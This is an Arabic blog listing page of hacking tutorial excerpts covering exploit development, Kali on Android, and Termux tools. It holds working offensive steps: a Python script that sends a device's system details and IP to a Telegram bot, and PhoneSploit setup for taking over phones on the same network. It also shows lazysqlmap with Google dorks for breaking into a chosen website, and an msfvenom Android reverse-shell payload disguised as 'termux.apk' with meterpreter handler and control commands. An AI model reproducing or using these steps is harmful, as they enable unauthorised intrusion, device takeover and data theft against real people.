المشاركات

فهم لغة التجميع x86 وتطبيقاتها في تطوير الاستغلالات الأمنية

صورة
Mr.  RedRaccoon مقدمة : لغة التجميع x86 هي لغة منخفضة المستوى تُستخدم لفهم كيفية عمل البرامج على مستوى الأجهزة. تعلمها يعتبر خطوة أساسية للمطورين الذين يسعون للدخول إلى مجال تطوير الاستغلالات، لأنها تُمكنك من فهم كيفية تنفيذ الأوامر بشكل مباشر من المعالج. من خلال هذا الفهم، يمكنك تحليل الثغرات وتطوير استغلالات فعّالة. مفاهيم أساسية في لغة التجميع x86 : أوامر أساسية : MOV : لنقل البيانات بين السجلات أو الذاكرة. PUSH و POP : للتعامل مع الـ Stack (جزء من الذاكرة لتخزين البيانات المؤقتة). فهم هذه الأوامر يتيح لك القدرة على متابعة كيفية تنفيذ البرامج في مستوى النظام، وهو أمر ضروري لتحليل الثغرات وتطوير استغلالات. حماية الذاكرة الحديثة : DEP (Data Execution Prevention) : تمنع تشغيل الكود من مواقع معينة في الذاكرة، مما يعيق تشغيل الكود الضار. ASLR (Address Space Layout Randomization) : تغير أماكن الذاكرة بشكل عشوائي عند كل تشغيل للبرنامج، مما يزيد من صعوبة التنبؤ بموقع الكود للاستغلال. تقنيات تجاوز حمايات الذاكرة : ROP (Return-Oriented Programming) : تقنية تستخدم أوامر (gadgets) صغيرة من ...

دليل تثبيت Kali Linux على الأندرويد باستخدام UserLand

صورة
Mr.  RedRaccoon السلام عليكم ، في هذا الدليل سنوضح خطوات تثبيت Kali Linux على هاتفك الأندرويد باستخدام تطبيق UserLand . هذه الطريقة ليست نسخة كاملة من Kali Linux بواجهة المستخدم الأصلية، لكنها تعمل عبر Termux وتتيح لك الوصول إلى بيئة Kali Linux للعمل بشكل مشابه. تابع الخطوات التالية: الخطوة الأولى: تحميل تطبيق UserLand افتح متجر التطبيقات على هاتفك. ابحث عن تطبيق اسمه "UserLand" وقم بتنزيله وتثبيته. الخطوة الثانية: تثبيت UserLand بمجرد تحميل التطبيق، قم بتثبيته على جهازك. الخطوة الثالثة: إعداد Kali Linux بعد التثبيت، افتح تطبيق UserLand . انتظر حتى يتم تنزيل جميع الحزم المطلوبة. عند الانتهاء، اضغط على زر Kali في التطبيق. سيطلب منك إدخال اسم مستخدم وكلمة مرور. قم بتعيين أي اسم مستخدم وكلمة مرور تفضلها، ولكن تأكد من تذكرها. اضغط OK وانتظر حتى يتم التثبيت، يعتمد وقت التثبيت على سرعة الإنترنت وقد يستغرق حوالي 20 دقيقة. الخطوة الرابعة: تسجيل الدخول بعد التثبيت، سيظهر لك اسم المستخدم الذي اخترته. أدخل كلمة المرور التي قمت بتعيينها في الخطوة السابقة، وهكذا سيكون Kali Linux جاهز...

استخدام أداة RHG في تثبيت متطلبات Termux دفعة واحدة

صورة
Mr.  RedRaccoon الخطوة الأولى: تثبيت Termux قم بتثبيت تطبيق Termux من متجر التطبيقات على جهاز الأندرويد الخاص بك. يمكنك أيضًا استخدام توزيعات Linux مثل Kali Linux إذا كنت تفضل العمل على نظام تشغيل آخر. الخطوة الثانية: تثبيت الأدوات على Termux أو Linux افتح تطبيق Termux أو واجهة سطر الأوامر في توزيعة Linux الخاصة بك. نفّذ الأوامر التالية لتحديث الحزم وتثبيت الأدوات: $ apt update && apt upgrade $ pkg install python $ git clone https://github.com/Ledear-Hacker/RHG $ cd RHG $ ls $ chmod +x * $ python2 RHG.py الخطوة الثالثة: إعداد الأداة بعد الدخول إلى الأداة، اختر الخيار 1 لتثبيت جميع الأدوات دفعة واحدة بسهولة وبدون مشاكل. ملحوظة : تأكد من أنك تستخدم هذه الأدوات فقط لأغراض تعليمية وبحوث الأمن السيبراني، ويجب تجنب استخدامها لأي نشاط غير مشروع.

سكربت بسيط لجمع المعلومات باستخدام بايثون

صورة
Mr.  RedRaccoon آلية عمل السكربت: استيراد المكتبات: يتم استيراد المكتبات اللازمة مثل os , sys , platform , socket , requests , و datetime . تعريف المتغيرات: TOKEN : رمز البوت الخاص بك على تيليجرام. ID : معرف تيليجرام الخاص بك. OS_Name : اسم نظام التشغيل. OS_Version : إصدار نظام التشغيل. Path : المسار الحالي. Time : الوقت الحالي. Ip : عنوان IP للجهاز. host : اسم المضيف. Dev : اسم المطور (يمكن تغييره). TOKEN = "Your BOT Token" ID = "Your Telegram Id" OS_Name = platform.system() OS_Version = platform.release() Path = sys.path[ 0 ] Time = str (datetime.now()) Ip = requests.get( "https://api.ipify.org" ).text host = socket.gethostbyname(socket.gethostname()) Dev = "@MrRedRaccon" إرسال المعلومات إلى تيليجرام: يتم إنشاء رابط لإرسال رسائل تيليجرام باستخدام TOKEN ، ويتم إنشاء قاموس يحتوي على معلومات حول نظام التشغيل والجهاز والوقت والمسار الحالي. يتم إرسال هذه المعلومات إلى حساب تيليجرام باستخدام API من خلال طلب POST. Url = "https://api.telegram.org/...

كيفية اختراق هاتف متصل بنفس الشبكة باستخدام Termux

صورة
Mr.  RedRaccoon الخطوة الأولى: تثبيت Termux قم بتثبيت تطبيق Termux من متجر Google Play أو من أي مصدر موثوق لتطبيقات Android. الخطوة الثانية: تثبيت الأدوات اللازمة تثبيت Termux-ADB: افتح Termux وأدخل الأوامر التالية: $ git clone https://github.com/MasterDevX/Termux-ADB $ ls $ cd Termux-ADB $ ls $ chmod +x * $ ./InstallTools.sh تثبيت PhoneSploit: افتح نافذة جديدة في Termux وأدخل الأوامر التالية: $ git clone https://github.com/Zucccs/PhoneSploit $ cd PhoneSploit $ chmod +x * $ pip2 install colorama $ python2 main_linux.py باتباع هذه الخطوات، يمكنك إعداد الأدوات اللازمة لاختراق الهاتف المتصل بنفس الشبكة. تأكد من استخدام هذه الأدوات لأغراض تعليمية وأخلاقية فقط.

كيفية اختراق موقع ويب باستخدام Termux

صورة
Mr.  RedRaccoon الخطوة الأولى: تحديث النظام وتثبيت الأدوات اللازمة تحديث النظام وتثبيت الأدوات: افتح Termux وأدخل الأوامر التالية: $ apt update && apt upgrade $ pkg install python2 $ pkg install git تثبيت Termux-LazySQLMap: أدخل الأوامر التالية لتثبيت الأداة: $ git clone https://github.com/verluchie/termux-lazysqlmap $ cd termux-lazysqlmap $ chmod 777 install.sh $ ./install.sh الخطوة الثانية: استخدام Google Dorks للعثور على مواقع الويب استخدم Google Dorks للعثور على مواقع الويب الضعيفة التي يمكنك اختبارها. (لمزيد من المعلومات حول Google Dorks، يمكنك البحث عن كيفية استخدامها). الخطوة الثالثة: تنفيذ الاختراق باستخدام Termux-LazySQLMap تشغيل الأداة: بعد تثبيت Termux-LazySQLMap، ابدأ الأداة بكتابة الأمر التالي في Termux: $ lazysqlmap اختيار الموقع المستهدف: أدخل عنوان الموقع الذي تريد اختراقه عندما يُطلب منك ذلك. اختيار خيارات التحقق: اختر الخيار المناسب لك. على سبيل المثال، اختر الخيار الذي يعود بالجداول في قاعدة البيانات. استرجاع الجداول: استخدم الأمر sitedb لاسترجاع الجد...

كيفية إنشاء Payload ملغم واستخدام Metasploit

صورة
Mr.  RedRaccoon 1. إنشاء Payload ملغم باستخدام msfvenom: افتح Termux أو أي بيئة تشغيل تتيح لك تنفيذ الأوامر، ثم استخدم الأمر التالي لإنشاء Payload ملغم: msfvenom -p android/meterpreter/reverse_tcp LHOST=(Your IP) LPORT=(Your Port) R > /sdcard/termux.apk استبدل (Your IP) بعنوان IP الخاص بك. استبدل (Your Port) بالمنفذ الذي ترغب في استخدامه. 2. فتح Metasploit: بعد إنشاء الـ Payload، افتح Metasploit باستخدام الأمر: ./msfconsole 3. إعداد Metasploit لاستقبال الـ Payload: في Metasploit، اتبع الأوامر التالية: use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost (Your IP) set lport (Your Port) run استبدل (Your IP) بعنوان IP الخاص بك. استبدل (Your Port) بالمنفذ الذي اخترته. 4. استخدام Metasploit للتحكم بالجهاز المخترق: بمجرد اتصال الـ Payload بالجهاز، يمكنك استخدام الأوامر التالية للتحكم بالجهاز: help # عرض قائمة بالأوامر المتاحة shell # فتح قشرة النظام (Shell) cd /sdcard # تغيير الدليل إلى /sdcard ls # عرض محتويات الدليل ...